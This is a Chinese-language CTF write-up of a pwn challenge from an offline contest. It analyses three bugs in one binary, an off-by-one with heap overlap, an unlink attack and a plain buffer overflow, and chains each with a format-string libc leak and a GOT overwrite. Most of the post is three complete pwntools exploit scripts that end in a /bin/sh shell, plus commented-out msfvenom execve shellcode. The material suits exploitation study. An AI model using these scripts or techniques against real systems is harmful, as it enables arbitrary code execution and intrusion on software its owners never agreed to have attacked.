810线下赛复盘

pwn

前言

将atoi_got修改成printf_plt,威力无穷~

线下赛只有一个pwn题,但这一个pwn题却出的非常好,虽然防御机制没有全开,但是考察点非常之多,就其中一个漏洞的利用,就考察了如下五个知识点。

  • string overflow
  • int overflow
  • off by one
  • race condition
  • heap overlay
  • fmt

第一个漏洞

第一个漏洞出现在west模块,该模块可以创建最多两个house,初始的金币都为5(虽然有一个tricks,但是然并软),然后可以选择其中一个house的id购买weapon,若其中一个house的weapon比另一个强,就可以将另一个house消灭掉(free),那么我们怎么才能增加我们的金币数目呢,其实我们可以利用string overflow的方式,如下代码。

1
2
3
4
5
6
7
8
fgets(&s1, 0x16, stdin);
v9 = 0xA;
if ( strlen(&s1) > 0x10 )
{
puts("Your name is too long!");
exit(-1);
}
str_cpy(0x28LL * (signed int)i + 0x605148, (__int64)&s1);

s1可以输入0x16个字节,而string函数都以'\x00'字节定义字符串的结束,我们可以构造绕过,将money覆盖成一个最大数0x7fffffff,即可买我们想要的任何装备,接着漏洞出现在snprintf处,该函数的返回值由原本要复制到dst addr 的数据长度决定,故而这边存在一个溢出,我们只要让返回值大于0x54即可,int overflow刚好能够做到这件事。接着利用刚才获取的长度溢出一个字节(只能达到一个字节,故而我们可以利用off by one技术将指向soliders的指针位置上移),接着利用heap overlay技术将该上移的指针加入到unsorted bin内,在下次分配的时候,能够再次分配到该空间,故而我们可以利用该空间将house中的soliders指针地址修改成atoi_got,然后在写入print_plt的地址,利用fmt技术泄漏libc信息,算出system的地址,将atoi_got的地址修改成system地址,即可拿到shell,草稿如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0x605140
|ptr1(0xa0)|xxxxxxxx|xxxxxxxx
0x605158
|money 0x605158|length 0x60515c
ptr1 size:0xa0
weapon(size:0x68)|ptr2(0x50) size:0x8|ally(size:0x30)
0x10 0x40
ptr2( read soliders 0x50)
0x605190 ptr2_addr
一些细节:
可以从else中的puts字符串来快速分析判断的是什么
uaf漏洞的分析,看free后,指针是否置0
逆向功底很重要。
strcmp
strlen
都可以绕过

第一个漏洞的利用exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-08-15 21:50:04
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils,os,time
from pwn import *
from ctypes import *
context(log_level="debug")
DEBUG = 1
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
target = "./pwn"
remote_ip = ""
port = 0
rop = roputils.ROP(target)
elf = ELF(target)
# lib = cdll.LoadLibrary('./libc64.so')
# payload = rop.call('__isoc99_scanf', 0x804888F,0x0804A034)
# libc = ELF[target]
# msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x0b\x00" -f python
#buf = ""
# buf += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
# buf += "\x76\x0e\x7d\x30\x90\xf9\x83\xee\xfc\xe2\xf4\x17\x3b"
# buf += "\xc8\x60\x2f\x56\xf8\xd4\x1e\xb9\x77\x91\x52\x43\xf8"
# buf += "\xf9\x15\x1f\xf2\x90\x13\xb9\x73\xab\x95\x38\x90\xf9"
# buf += "\x7d\x1f\xf2\x90\x13\x1f\xe3\x91\x7d\x67\xc3\x70\x9c"
# buf += "\xfd\x10\xf9"
# int 0x80 linux x86 0x1c
# buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
# bss = rop.section('.bss')
# rop.got('puts')
# rop.call('read', 0, addr_bss, 0x100)
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
# def exec_fmt(payload):
# p = process(target)
# p.recvuntil("input:")
# p.sendline(payload)
# p.recvuntil("input:")
# p.sendline(payload)
# return p.recvuntil(",")[:-1]
# autofmt = FmtStr(exec_fmt)
# offset = autofmt.offset
# def send_payload(payload):
# sl(payload+"%100000c")
# autofmt = FmtStr(send_payload,offset=offset)
# autofmt.write(free_hook_addr,one_gadget_addr)
# autofmt.execute_writes()
if DEBUG:
p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]})
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
# west
ru("exit\n")
sl("1")
def create_house(soliders):
# create a house
ru("war\n")
sl("1")
ru("\n")
sl("n")
ru("\n")
sl("\x00"*0x10+p32(0x7fffffff))
ru("\n")
sl("-2147483647")
ru("\n")
## Words
sd("a"*0x2e)
## soliders
ru("\n")
sl(str(soliders))
ru("\n")
sd("a"*soliders)
## ally
ru("\n")
sd("a"*0x30)
def create_house2():
# create a house
ru("war\n")
sl("1")
ru("\n")
sl("n")
ru("\n")
sl("\x00"*0x10+p32(0x7fffffff))
ru("\n")
# int overflow
sl("-2147483647")
ru("\n")
## Words
sd("a"*0x2e)
## soliders
ru("\n")
sl(str(0x50))
ru("\n")
sl('a'*0x38+p64(elf.got["atoi"]))
## ally
ru("\n")
sd("a"*0x30)
def change_weapon(_id,weapon):
ru("war\n")
sl("2")
ru("\n")
sl(str(_id))
ru('5000000\n')
sl(str(weapon))
def change_word():
ru("war\n")
sl("1024")
ru("id\n")
sl("0")
ru(" to Death?\n")
# 0x10+0x14
payload = "Not today\x00"
payload = payload.ljust(0x30-0x24,"a")
# heap overlay
payload += p64(0)+p64(0x1c0-0x30+1)
payload = payload.ljust(0x54,"a")
# fake chunck off by one
payload += chr(0x30+0x10)
sd(payload)
# pass
def start_war():
ru("war\n")
sl("4")
def change_vassal(addr):
ru("war\n")
sl("3")
ru("id\n")
sl("0")
ru("\n")
sl(str(0x50))
ru("\n")
sl(p64(addr))
create_house(0x50)
# gdb.attach(p,"b*0x401AE2\nc")
create_house(0x40)
change_weapon(0,4)
change_weapon(1,5)
start_war()
# race condition
change_word()
import time
time.sleep(3)
# gdb.attach(p,"b*0x402301\nc")
# unsorted bin FIFO
create_house2()
# fmt
change_vassal(elf.symbols["printf"])
ru("war\n")
sl("%7$s...."+p64(elf.got["printf"]))
printf_addr = u64(p.recv(6).ljust(8,"\x00"))
offset = 0x0000000000054b50 - 0x0000000000044380
system_addr = printf_addr-offset
# edit_addr
sl("%7$n...."+p64(0x605130))
# change_vassal(system_addr)
# gdb.attach(p,"b*0x402301\nc")
ru("war\n")
sl("123")
ru("id\n")
sd("\n")
ru("\n")
sl("a"*0x7)
ru("\n")
sl(p64(system_addr))
ru("war\n")
sl("/bin/sh\x00")
p.interactive()

第二个漏洞

第二个漏洞出现在east模块,该模块下,存储slaves的长度被设计成为 chunk_size-8,而chunks_size由于其末三位是标记位,prev_size标记位于第8位,该标记位在前一个chunk在使用中时置1,故而当我们过呢关系slaves时,我们拥有一个字节的溢出,即off by one。我们可以利用这一个字节的溢出来修改下一个chunk的prev_size和其标记位来为实现overlay heap 和 unlink 攻击做铺垫(事实上这边只用到了unlink攻击,向前unlink),这边其实卡了我很久,一开始在想向前合并还是向后合并,后来尝试向后合并,但是 loyalty chunk的大小是0xe0+0x10 向后合并需要在下一个chunk构建fake_chunk_head,故而需要伪造 loyalty chunk_size 的字段值,使其满足寻址(找到下一个chunk)的逻辑,这个值是0xe0+0x10+0x1+0x10=0x101,很遗憾,需要溢出两个字节才能达到要求,而我们并没有溢出两个字节的条件。故而想到向前合并,在loyalty chunk的前一个chunk中构建fake_chunk_head,将loyalty chunk_size_prev_flag置0,构造loyalty prev_size,触发free loyalty chunk,我们便可以获得一次任意地址写的机会~~利用代码如下,其实直接看代码就可以,逻辑很清晰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-08-17 00:53:09
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils,os,time
from pwn import *
from ctypes import *
context(log_level="debug")
DEBUG = 1
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
target = "./pwn"
remote_ip = ""
port = 0
rop = roputils.ROP(target)
elf = ELF(target)
# lib = cdll.LoadLibrary('./libc64.so')
# payload = rop.call('__isoc99_scanf', 0x804888F,0x0804A034)
# libc = ELF[target]
# msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x0b\x00" -f python
#buf = ""
# buf += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
# buf += "\x76\x0e\x7d\x30\x90\xf9\x83\xee\xfc\xe2\xf4\x17\x3b"
# buf += "\xc8\x60\x2f\x56\xf8\xd4\x1e\xb9\x77\x91\x52\x43\xf8"
# buf += "\xf9\x15\x1f\xf2\x90\x13\xb9\x73\xab\x95\x38\x90\xf9"
# buf += "\x7d\x1f\xf2\x90\x13\x1f\xe3\x91\x7d\x67\xc3\x70\x9c"
# buf += "\xfd\x10\xf9"
# int 0x80 linux x86 0x1c
# buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
# bss = rop.section('.bss')
# rop.got('puts')
# rop.call('read', 0, addr_bss, 0x100)
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
# def exec_fmt(payload):
# p = process(target)
# p.recvuntil("input:")
# p.sendline(payload)
# p.recvuntil("input:")
# p.sendline(payload)
# return p.recvuntil(",")[:-1]
# autofmt = FmtStr(exec_fmt)
# offset = autofmt.offset
# def send_payload(payload):
# sl(payload+"%100000c")
# autofmt = FmtStr(send_payload,offset=offset)
# autofmt.write(free_hook_addr,one_gadget_addr)
# autofmt.execute_writes()
if DEBUG:
p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]})
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
# east
ru("exit\n")
sl("2")
def Occupy(slaves,date):
ru("Exit\n")
sl("1")
ru("choice:\n")
sl("1")
ru("\n")
sl(str(slaves))
ru("\n")
sl(date)
def update_slaves(_id,date):
ru("Exit\n")
sl("2")
ru("id\n")
sl(str(_id))
ru("\n")
sd(str(date))
def ruin(_id,flag):
ru("Exit\n")
sl("3")
ru("ruin\n")
sl(str(_id))
ru("nate him?(y/n)")
sl(flag)
def show(_id):
ru("Exit\n")
sl("4")
ru("id\n")
sl(str(_id))
Occupy(0x40,"123") #0
ru("Khal")
sl("123")
Occupy(0x40,"123") #1
Occupy(0x40,"123") #2
# get fastbin#2 addr
ruin(2,"n")
ruin(1,"n")
show(1)
ru("salves: ")
fast_bin_addr = u64(ru("\n=")[:-2].ljust(8,"\x00"))
print "fast_bin_addr#0="+hex(fast_bin_addr)
# heap_base addr
heap_addr = fast_bin_addr-(fast_bin_addr & 0xfff)
fast_bin_addr_ptr = heap_addr+0x10+0x20
# rebuild
Occupy(0x40,"123") #1
Occupy(0x40,"123") #2
# overwrite small chunk size unlink prev_fast_chunk
fake_chunk_head = p64(0)+p64(0x41)+p64(fast_bin_addr_ptr-0x18)+p64(fast_bin_addr_ptr-0x10)
payload = fake_chunk_head
payload = payload.ljust(0x40,"\x00")
update_slaves(0,payload+p64(0x40)+chr(0xe0+0x10))
# unlink
ruin(1,"y")
# gdb.attach(p,"b*0x40131D\nc")
# change atoi to printf
update_slaves(0,"a"*0x18+p64(elf.got["atoi"]))
update_slaves(0,p64(elf.symbols["printf"]))
# leak libc and calc system_addr
ru("Exit\n")
sd("%7$s...."+p64(elf.got["printf"]))
printf_addr = u64(p.recv(6).ljust(8,"\x00"))
offset = 0x0000000000054b50 - 0x0000000000044380
system_addr = printf_addr-offset
# change atoi to system
ru("Exit\n")
sl("a"*0x2)
ru("id\n")
sd("\n")
ru("\n")
sd(p64(system_addr))
# exec /bin/sh
sd("/bin/sh\x00")
p.interactive()

第三个漏洞

第三个漏洞非常简单,字符串数组空间大小为0x20,然而却给它赋于了0x28的大小用户输入,导致其溢出覆盖了下一个指针,从而引发任意地址写的利用,我们可以利用任意地址写,将atoi改成printf来泄漏system地址,然后将atoi改成system实现任意代码执行,exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-08-17 09:43:44
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils,os,time
from pwn import *
from ctypes import *
context(log_level="debug")
DEBUG = 1
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
target = "./pwn"
remote_ip = ""
port = 0
rop = roputils.ROP(target)
elf = ELF(target)
# lib = cdll.LoadLibrary('./libc64.so')
# payload = rop.call('__isoc99_scanf', 0x804888F,0x0804A034)
# libc = ELF[target]
# msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x0b\x00" -f python
#buf = ""
# buf += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
# buf += "\x76\x0e\x7d\x30\x90\xf9\x83\xee\xfc\xe2\xf4\x17\x3b"
# buf += "\xc8\x60\x2f\x56\xf8\xd4\x1e\xb9\x77\x91\x52\x43\xf8"
# buf += "\xf9\x15\x1f\xf2\x90\x13\xb9\x73\xab\x95\x38\x90\xf9"
# buf += "\x7d\x1f\xf2\x90\x13\x1f\xe3\x91\x7d\x67\xc3\x70\x9c"
# buf += "\xfd\x10\xf9"
# int 0x80 linux x86 0x1c
# buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
# bss = rop.section('.bss')
# rop.got('puts')
# rop.call('read', 0, addr_bss, 0x100)
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
# def exec_fmt(payload):
# p = process(target)
# p.recvuntil("input:")
# p.sendline(payload)
# p.recvuntil("input:")
# p.sendline(payload)
# return p.recvuntil(",")[:-1]
# autofmt = FmtStr(exec_fmt)
# offset = autofmt.offset
# def send_payload(payload):
# sl(payload+"%100000c")
# autofmt = FmtStr(send_payload,offset=offset)
# autofmt.write(free_hook_addr,one_gadget_addr)
# autofmt.execute_writes()
if DEBUG:
p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]})
# gdb.attach(p,"b*main\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
ru("exit\n")
sl("2")
# change atoi to printf
ru("Exit\n")
sl("5")
ru("\n")
sl("y")
ru("\n")
payload = p64(elf.symbols["printf"])+"\n"
payload = payload.ljust(0x20,"\x00")
payload +=p64(elf.got["atoi"])
sd(payload)
ru("Exit\n")
sl("%7$s...."+p64(elf.got["printf"]))
printf_addr = u64(p.recv(6).ljust(8,"\x00"))
offset = 0x0000000000054b50 - 0x0000000000044380
system_addr = printf_addr-offset
# change atoi to system
ru("Exit\n")
sl("a"*5)
ru("y/n)\n")
sl("y")
ru("nd up with '\\n')\n")
payload = p64(system_addr)+"\n"
payload = payload.ljust(0x20,"\x00")
payload +=p64(elf.got["atoi"])
sd(payload)
# \n
sl("/bin/sh\x00")
p.interactive()

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. pwn
    1. 1.1. 前言
    2. 1.2. 第一个漏洞
    3. 1.3. 第二个漏洞
    4. 1.4. 第三个漏洞
,
隐藏